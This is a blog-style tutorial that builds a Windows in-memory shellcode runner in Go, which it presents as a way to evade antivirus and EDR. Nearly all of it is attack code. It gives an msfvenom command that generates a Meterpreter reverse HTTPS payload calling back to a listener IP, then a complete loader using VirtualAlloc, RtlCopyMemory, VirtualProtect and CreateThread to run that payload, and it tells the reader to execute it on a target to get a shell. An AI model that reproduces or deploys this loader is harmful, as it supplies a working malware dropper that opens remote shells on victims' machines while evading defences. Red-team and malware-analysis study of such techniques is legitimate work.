Skip to main content

In Memory Shellcode Runner in Golang

Introduction

When creating a malware, for adversary simulation or even if you’re a malware researcher, who is analyzing a sample, you may have come across this technique, where the actual malware dropper runs the actual malicious piece of code in memory. This skips the necessity of having a file to the disk, which can get detected by AV Softwares. Although, actual malware samples and APT groups use better obfuscation techniques to evade Anti-Virus, but we can learn the basic techniques used. From there we can build our own techniques to evade the EDR Solutions.

In this write-up, we will learn how to create a program in Golang, which will call Win32 APIs, and use them to run our given shellcode in memory.

Steps Required to create a In-memory shellcode runner

There are few simple steps that we need to understand before we learn how to create our program.

  • First we need to allocate some memory, where we will copy our shellcode to. We will be doing this by using VirtualAlloc. We will set required permissions to make the memory available. We will also make it readable and writable, but not executable
  • Then, we can copy our shellcode to this allocated memory using RtlCopyMemory.
  • Now, we can use VirtualProtect to change the permissions of this piece of memory that we have copied. We can use this method to change the memory to readable and executable
  • Then we can call CreateThread API to execute our shellcode that we have copied to the memory
  • This will run the shellcode in memory and not create any files

Creating the shellcode Runner

Calling Win32 API

Before we create our shellcode runner, we need to learn how we can call Win32 API in Golang. I came across a really nice blog : How To Call Windows APIs in Golang

We will be using the golang.org/x/sys/windows library to call the Windows APIs that are required.

  • First we will create a file handle to the kernel32.dll which contains the CreateThread method.
  • Then we will use this file handle to point to the function that we want to invoke. In this case, it is CreateThread
package main

import (
	"fmt"
	"unsafe"

	windows "golang.org/x/sys/windows"
)

func main() {
	kernel32DLL := windows.NewLazyDLL("kernel32.dll")
	CreateThread := kernel32DLL.NewProc("CreateThread")
}
  • Then we will create another file handle for the ntdll.dll which contains the RtlCopyMemory method
  • We can use this file handle to point to RtlCopyMemory method
	ntdll := windows.NewLazySystemDLL("ntdll.dll")
	RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") 
  • As for the other two methods VirtualAlloc and VirtualProtect, these two methods are available in golang.org/x/sys/windows package. We can directly call these methods using this library.

Generating the shellcode

  • The shellcode we will be using, is a simple meterpreter reverse https
 msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.183.129 LPORT=443 -f csharp

  • Here we are using the C# format for generating the shellcode
  • This will create an array of integers in hex format.
  • Make sure to convert the shellcode array to uint8 format. Because each opcode will be unsigned integer not more than 8 bytes
  • Once done, it will look somewhat as follows
shellcode := [781]uint8{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,....}

Allocating memory for the shellcode

  • To allocate memory for the shellcode we will be using VirtualAlloc
addr,_ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), 0x3000, 0x04)
  • In the above statement, VirtualAlloc is being use to allocate memory
  • The first argument tells the method to leave the address of memory allocation to the API
  • The second argument is the length of the shellcode converted to unintptr
  • The third argument, is 0x3000, which is for MEM_COMMIT and MEM_RESERVE. This will make the operating system allocate the memory make it available for use
  • The last argument is 0x04, which will tell API to make the memory page read write
  • Although, we can directly make it read write and executable using the value 0x40 but it is always a good practice to keep it read write which allocating memory
  • This method will return the start address of the allocated piece of memory

NOTE: Instead of using the hex values, you can also directly refer to the permissions using the library as MEM_COMMIT and MEM_RESERVE

  • The following changes will give the same result
addr,_ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)

Copying the shellcode to the allocated memory

  • For copy shellcode to the allocated memory, we will be using RtlCopyMemory
  • We already have a pointer to this function.
  • We can invoke this function using the .Call method
_, _, _ = RtlCopyMemory.Call(addr, uintptr((unsafe.Pointer(&shellcode[0]))), uintptr(len(shellcode)))
  • The first argument it takes is the address of the allocated memory
  • The second argument is the shellcode that we want to copy to that memory. We have to convert the shellcode to uintptr format. We are passing the pointer to the start of the shellcode. (Refer to : How to Call WIndows APIs in Golang)
  • The last argument is the length of the shellcode

Changing the permissions of the allocated memory

  • After copying the shellcode the memory, we need to change the permission to readable and executable, so that the shellcode present there can be executed
var oldProtect uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
  • Here we use VirtualProtect for this purpose
  • This function takes the address of allocated memory, length of memory allocate (here size of the shellcode), the permission to give it and an uint32 pointer to store the old protections

Executing the shellcode in memory

  • Now that we have copied the shellcode to memory, we can finally execute it using CreateThread API
  • We have already imported the CreateThread method, now we need to invoke it as follows
threadHandle, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
  • We don’t need to the first two arguments, so we leave them as 0
  • For the third argument we need to give the address of the allocated memory
  • The fourth argument is of type LPVOID therefore, we set it to uintptr. It points to the starting address of the arguments residing ta the starting address. Our shellcode does not have any arguments, therefore we can keep it as uintptr(0)
  • The last two arguments can be set as 0

One last step

  • Even though, we have followed all the necessary steps to create our shellcode runner, one last step is needed, without which, we will not get a shell on our listener
  • Once the program has finished execution, the shellcode running in memory as a child process will also stop executing.
  • As a result, we will not a shell on our listener
  • To solve this, we will use WaitForSingleObject API call to wait infinitely till we close execution of the shell
_,_ = windows.WaitForSingleObject(windows.Handle(threadHandle), 0xFFFFFFFF)
  • This takes the thread handle and an argument which takes the duration for which it the program will wait
  • We specify it as 0xFFFFFFFF to make the program wait indefinitely till we close the shell on our end

Testing our shellcode runner

  • Finally we are ready to test our shellcode runner
  • The complete code is given below
package main

import (
	"unsafe"
	"fmt"

	"golang.org/x/sys/windows"
)

func main() {

	shellcode := [781]uint8{0xfc,0x48,0x83,0xe4,0xf0,...}

	addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
	fmt.Println("Memory Allocated....")

	ntdll := windows.NewLazyDLL("ntdll.dll")
	RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
	_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	fmt.Println("Memory Copied....")

	var oldProtect uint32
	_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
	fmt.Println("Changed the permission of memory....")

	kernel32 := windows.NewLazyDLL("kernel32.dll")
	CreateThread := kernel32.NewProc("CreateThread")
	fmt.Println("Executing the shellcode.....")
	threadHandle, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)

	_,_ = windows.WaitForSingleObject(windows.Handle(threadHandle), 0xFFFFFFFF)
}
  • We will start our listener on metasploit

  • Then we will build and execute the shellcode runner from our target machine

  • This will give us a shell on our listener

  • This is how we can create an in-memory shellcode runner using golang

References

  1. How To Call Windows APIs In Golang

  2. Windows Package for golang

  3. Microsoft Documentation -> for getting information about the Windows APIs that we have used